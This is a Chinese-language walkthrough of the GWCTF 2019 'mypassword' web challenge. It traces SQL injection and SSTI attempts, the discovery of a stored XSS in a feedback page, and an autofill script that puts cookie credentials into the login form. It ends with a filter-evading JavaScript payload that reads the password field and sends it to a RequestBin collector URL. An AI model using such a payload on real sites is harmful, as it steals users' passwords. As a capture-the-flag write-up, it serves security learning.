[GWCTF 2019]mypassword-做题记录

[GWCTF 2019]mypassword-做题记录
[GWCTF 2019]mypassword-做题记录_第1张图片
这题给了个朴实无华的登陆界面,有注册登录界面那肯定得试试sql注入,很遗憾没有试出来。
那就找找源代码看看有没有有价值的东西
[GWCTF 2019]mypassword-做题记录_第2张图片
只发现加载了一个login.gs,emem还是没发现有什么能用的,没办法那就注册一个号登录进去看看吧
[GWCTF 2019]mypassword-做题记录_第3张图片
登录进去主页面会有你的用户名可控,我就想会不会有啥ssti或者搞些标签进去,结果可想而知,<,>,{,},’,"这些符号应该被过滤了,那这题就不是这么玩的
[GWCTF 2019]mypassword-做题记录_第4张图片
[GWCTF 2019]mypassword-做题记录_第5张图片
去看看别的页面,feedback.php这里应该是可以提交信息,然后在list.php会显示出信息,感觉这里问题挺大的,那就继续试
[GWCTF 2019]mypassword-做题记录_第6张图片
点进去就会看到你输入的信息
[GWCTF 2019]mypassword-做题记录_第7张图片
[GWCTF 2019]mypassword-做题记录_第8张图片

看来他应该是把script给过滤掉了,我也在上面的id处尝试了下sql注入,没啥用,头疼,再试试别的。
[GWCTF 2019]mypassword-做题记录_第9张图片
[GWCTF 2019]mypassword-做题记录_第10张图片
函数执行不了,还是没啥用,但是这个没有显现出来,而是在源代码里,证明它并不是憨憨的把你输入的东西完整的打印出来,可以试试别的html标签,感觉有搞头
[GWCTF 2019]mypassword-做题记录_第11张图片
[GWCTF 2019]mypassword-做题记录_第12张图片
牛逼,点了后可以成功跳转,看来这里应该就是问题所在了,感觉有xss

然就不知道怎么做了,不懂怎么利用这里,找了个大佬的WP看看
[GWCTF 2019]mypassword-做题记录_第13张图片
[GWCTF 2019]mypassword-做题记录_第14张图片
卧槽,居然能过,长见识了,然后大佬试了个xss,也没成
再看看login.js的代码

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}

用户名和密码都填入了表单
这时候就要介绍我们的http://http.requestbin.buuoj.cn
网址,(RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)
构造POC





    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rd45c1rd/?a="+psw;

[GWCTF 2019]mypassword-做题记录_第15张图片
成功解决战斗

参考文章
https://www.cnblogs.com/karsa/p/13528643.html

你可能感兴趣的:(web学习,web)